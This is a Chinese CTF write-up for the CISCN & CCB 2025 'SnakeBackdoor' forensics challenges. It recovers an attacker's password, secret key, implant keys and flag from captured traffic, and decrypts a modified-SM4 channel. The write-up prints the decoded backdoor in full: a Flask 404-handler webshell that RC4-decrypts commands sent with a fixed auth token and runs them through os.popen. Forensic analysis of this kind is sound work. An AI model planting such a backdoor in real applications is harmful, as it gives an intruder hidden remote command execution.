2025 CISCN&CCB初赛 - Misc - WriteUp
碎碎念
咳咳,这还真不是第一次参加CISCN,其实之前就参加过两次,一次是本科期间的,一次是研一的,本科就不提了,研一打的时候还没正式进实验室,然后是跟研一的同学打的,最后打到一半就去看陈奕迅演唱会了(),最后也没晋级 今年也算是沾了队友的光,打了个不错的成绩,就是比赛体验稍微差了点,前面大半天都没事做,直到最后上了流量才有点活干干 至此今年的最后一场CTF就圆满落幕了,希望明年能有更好的表现吧~
SnakeBackdoor-1
攻击者爆破成功的后台密码是什么?
简单看看,过滤一下会发现后面有进行登录操作

跟踪一下http流就能找到密码

SnakeBackdoor-2
攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么?
直接过滤KEY的流量,发现就一条,里面能找到对应的值

SnakeBackdoor-3
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key)
顺着时间线往后看,找到一条流量里post了马子,

马子进行了base64加密,解一下发现他先对数据zlib压缩后再base64编码,最后反转

反过来解密,发现是套娃

这边我是自己手解的,解了1w层之后得到了里面的源码
其中第四行就是key了
1global exc_class
2global code
3import os,binascii
4exc_class, code = app._get_exc_class_and_code(404)
5RC4_SECRET = b'v1p3r_5tr1k3_k3y'
6def rc4_crypt(data: bytes, key: bytes) -> bytes:
7 S = list(range(256))
8 j = 0
9 for i in range(256):
10 j = (j + S[i] + key[i % len(key)]) % 256
11 S[i], S[j] = S[j], S[i]
12 i = j = 0
13 res = bytearray()
14 for char in data:
15 i = (i + 1) % 256
16 j = (j + S[i]) % 256
17 S[i], S[j] = S[j], S[i]
18 res.append(char ^ S[(S[i] + S[j]) % 256])
19 return bytes(res)
20def backdoor_handler():
21 if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
22 return "Error"
23 enc_hex_cmd = request.form.get('data')
24 if not enc_hex_cmd:
25 return ""
26 try:
27 enc_cmd = binascii.unhexlify(enc_hex_cmd)
28 cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
29 output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
30 enc_output = rc4_crypt(output_bytes, RC4_SECRET)
31 return binascii.hexlify(enc_output).decode()
32 except:
33 return "Error"
34app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()SnakeBackdoor-4
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
继续分析,首先上面的源码不难看出来是用了rc4加密,并且数据传输带了请求头X-Token-Auth,直接过滤请求头,找到如下数据

逐条解密,会发现这里将shell改成了python3.13,提交发现对了

另外在他的前面还有解压,里面有解压密码

流量包里访问了这个压缩包,可以提取出来解压分析

SnakeBackdoor-5
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母)
ida分析,发现有外联地址和端口,直接过滤端口找到流量

分析代码,发现18ED函数从远端服务器读入了数据
1unsigned __int64 __fastcall sub_18ED(__int64 fd, __int64 p_command, unsigned __int64 n4, int flags_1)
2{
3 ssize_t v7; // [rsp+28h] [rbp-18h]
4 unsigned __int64 n4_1; // [rsp+38h] [rbp-8h]
5
6 for ( n4_1 = 0; ; n4_1 += v7 )
7 {
8 if ( n4_1 >= n4 )
9 return n4_1;
10 v7 = recv(fd, (void *)(p_command + n4_1), n4 - n4_1, flags_1);
11 if ( v7 <= 0 )
12 break;
13 }
14 if ( v7 )
15 return 0xFFFFFFFFLL;
16 if ( n4_1 )
17 return 0xFFFFFFFFLL;
18 return 0;
19}然后把数据拿来做seed
跟踪tcp流找到最开头读到的seed数据

拿到seed数据后,简单写个脚本利用linux环境生产key即可,因为种子固定,所以生成的key也是固定的
1import ctypes
2import struct
3
4libc = ctypes.CDLL("libc.so.6")
5
6def get_key_from_hex(hex_str: str) -> bytes:
7 seed = int(hex_str, 16)
8 libc.srand(seed)
9 return struct.pack(
10 '<4I',
11 libc.rand(),
12 libc.rand(),
13 libc.rand(),
14 libc.rand()
15 )
16
17if __name__ == "__main__":
18 key = get_key_from_hex("34952046")
19 print(key.hex())最后得到key为ac46fb610b313b4f32fc642d8834b456
SnakeBackdoor-6
请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}
拿到key之后就是对程序进行逆向解密即可,跟踪tcp流中有传输的密文数据,其中每条数据传输前都会跟一条8字节的数据,实际上是指数据的长度

分析里面的数据和函数,发现是一个魔改SM4,SBOX被魔改了光看前面会发现没什么问题,实际上从后面几行开始就被魔改了
1//S盒
2const unsigned char Sbox[256] = {
3 0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
4 0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
5 0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
6 0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
7 0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
8 0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
9 0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
10 0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
11 0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
12 0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
13 0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
14 0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
15 0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
16 0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
17 0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
18 0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
19};
而轮密钥拓展部分也被魔改了,密钥字节的读取顺序被调整了,同时轮密钥顺序反转,在密钥拓展阶段就把密钥反着存
1void __fastcall sub_13B4(__int64 a1, __int64 a2, int a3)
2{
3 unsigned int v3; // ebx
4 unsigned int v4; // ebx
5 unsigned int v5; // [rsp+20h] [rbp-30h]
6 unsigned int v6; // [rsp+24h] [rbp-2Ch]
7 unsigned int v7; // [rsp+28h] [rbp-28h]
8 unsigned int v8; // [rsp+2Ch] [rbp-24h]
9 unsigned int v9; // [rsp+38h] [rbp-18h]
10 unsigned int n3; // [rsp+3Ch] [rbp-14h]
11
12 for ( n3 = 0; n3 <= 3; ++n3 )
13 {
14 *(&v5 + n3) = (*(unsigned __int8 *)(4 * n3 + 2 + a2) << 8)
15 | (*(unsigned __int8 *)(4 * n3 + 1 + a2) << 16)
16 | (*(unsigned __int8 *)(4 * n3 + a2) << 24)
17 | *(unsigned __int8 *)(4 * n3 + 3 + a2);
18 *(&v5 + n3) ^= dword_2120[n3];
19 }
20 if ( a3 == 1 )
21 {
22 for ( n3 = 0; n3 <= 0x1F; ++n3 )
23 {
24 v3 = v5;
25 *(_DWORD *)(a1 + 4LL * n3) = sub_1311(v8 ^ v7 ^ v6 ^ dword_2140[n3]) ^ v3;
26 v5 = v6;
27 v6 = v7;
28 v7 = v8;
29 v8 = *(_DWORD *)(a1 + 4LL * n3);
30 }
31 }
32 else
33 {
34 for ( n3 = 0; n3 <= 0x1F; ++n3 )
35 {
36 v4 = v5;
37 v9 = v4 ^ sub_1311(v8 ^ v7 ^ v6 ^ dword_2140[n3]);
38 v5 = v6;
39 v6 = v7;
40 v7 = v8;
41 v8 = v9;
42 *(_DWORD *)(a1 + 4LL * (31 - n3)) = v9;
43 }
44 }
45}所以针对里面的函数和数据写出脚本解密即可
1sbox = [
2 0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
3 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
4 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
5 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
6 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
7 0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
8 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
9 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
10 0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
11 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
12 0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
13 0xD5, 0xDB, 0x39, 0xB8, 0x31, 0x11, 0x0C, 0x5A, 0xCB, 0x3E, 0x0A, 0x45, 0xE5, 0x94, 0x77, 0x5B,
14 0x8D, 0x6D, 0x48, 0x41, 0x10, 0xBD, 0x09, 0xC1, 0x4A, 0x89, 0x0D, 0x6E, 0x97, 0xA1, 0x1D, 0x16,
15 0x0A, 0xD9, 0x88, 0x6A, 0x96, 0xD1, 0x6B, 0x32, 0x02, 0x35, 0x46, 0x06, 0x7D, 0x65, 0x49, 0x8C,
16 0xF0, 0x3E, 0x2D, 0x7A, 0x15, 0xFF, 0x05, 0x8E, 0x01, 0x84, 0x3C, 0x3A, 0x38, 0x53, 0x87, 0x7B,
17 0x0B, 0x2B, 0x7E, 0x0F, 0xF6, 0x69, 0xA8, 0x5A, 0xB5, 0x4C, 0x1B, 0x39, 0x7F, 0x08, 0x8D, 0x1C
18]
19
20fk = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
21
22ck = [
23 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269, 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
24 0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249, 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
25 0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229, 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
26 0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
27]
28
29
30def rol(x, n):
31 return ((x << n) | (x >> (32 - n))) & 0xffffffff
32
33def ror(x, n):
34 return ((x >> n) | (x << (32 - n))) & 0xffffffff
35
36def tau1(a):
37 v1 = sbox[(a >> 24) & 0xff]
38 v2 = (sbox[(a >> 16) & 0xff] << 8) | v1
39 v3 = (sbox[(a >> 8) & 0xff] << 16) | v2
40 v4 = sbox[a & 0xff]
41 res = (v3 | (v4 << 24)) & 0xffffffff
42 return (ror(res, 9) ^ res ^ rol(res, 13)) & 0xffffffff
43
44def tau2(a):
45 v1 = sbox[(a >> 24) & 0xff]
46 v2 = (sbox[(a >> 16) & 0xff] << 8) | v1
47 v3 = (sbox[(a >> 8) & 0xff] << 16) | v2
48 v4 = sbox[a & 0xff]
49 res = (v3 | (v4 << 24)) & 0xffffffff
50 return (ror(res, 14) ^ res ^ rol(res, 2) ^ rol(res, 10) ^ ror(res, 8)) & 0xffffffff
51
52def keygen(key):
53 v5 = ((key[2] << 8) | (key[1] << 16) | (key[0] << 24) | key[3]) & 0xffffffff
54 v6 = ((key[6] << 8) | (key[5] << 16) | (key[4] << 24) | key[7]) & 0xffffffff
55 v7 = ((key[10] << 8) | (key[9] << 16) | (key[8] << 24) | key[11]) & 0xffffffff
56 v8 = ((key[14] << 8) | (key[13] << 16) | (key[12] << 24) | key[15]) & 0xffffffff
57
58 v5 ^= fk[0]
59 v6 ^= fk[1]
60 v7 ^= fk[2]
61 v8 ^= fk[3]
62
63 rk = [0] * 32
64
65 for i in range(32):
66 tmp = v5
67 tmp2 = (tmp ^ tau1((v8 ^ v7 ^ v6 ^ ck[i]) & 0xffffffff)) & 0xffffffff
68 v5, v6, v7, v8 = v6, v7, v8, tmp2
69 rk[31 - i] = tmp2
70
71 return rk
72
73def decrypt_block(rk, data):
74 x0 = int.from_bytes(data[0:4], 'big')
75 x1 = int.from_bytes(data[4:8], 'big')
76 x2 = int.from_bytes(data[8:12], 'big')
77 x3 = int.from_bytes(data[12:16], 'big')
78
79 for i in range(32):
80 tmp = (x0 ^ tau2((x3 ^ x2 ^ x1 ^ rk[i]) & 0xffffffff)) & 0xffffffff
81 x0, x1, x2, x3 = x1, x2, x3, tmp
82
83 out = bytearray(16)
84 for j, val in enumerate([x3, x2, x1, x0]):
85 out[j * 4] = (val >> 24) & 0xff
86 out[j * 4 + 1] = (val >> 16) & 0xff
87 out[j * 4 + 2] = (val >> 8) & 0xff
88 out[j * 4 + 3] = val & 0xff
89
90 return bytes(out)
91
92def decrypt(ct, key):
93 rk = keygen(key)
94 pt = b''
95 for i in range(0, len(ct), 16):
96 pt += decrypt_block(rk, ct[i:i + 16])
97
98 pad = pt[-1]
99 if 1 <= pad <= 16 and all(b == pad for b in pt[-pad:]):
100 pt = pt[:-pad]
101
102 return pt
103
104key = bytes.fromhex("ac46fb610b313b4f32fc642d8834b456")
105ciphertext = bytes.fromhex("7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729")
106
107plaintext = decrypt(ciphertext, key)
108print(plaintext.decode())最后得到flag为(前一条写了l换成1,o换成0)

1flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
Comments will be available soon.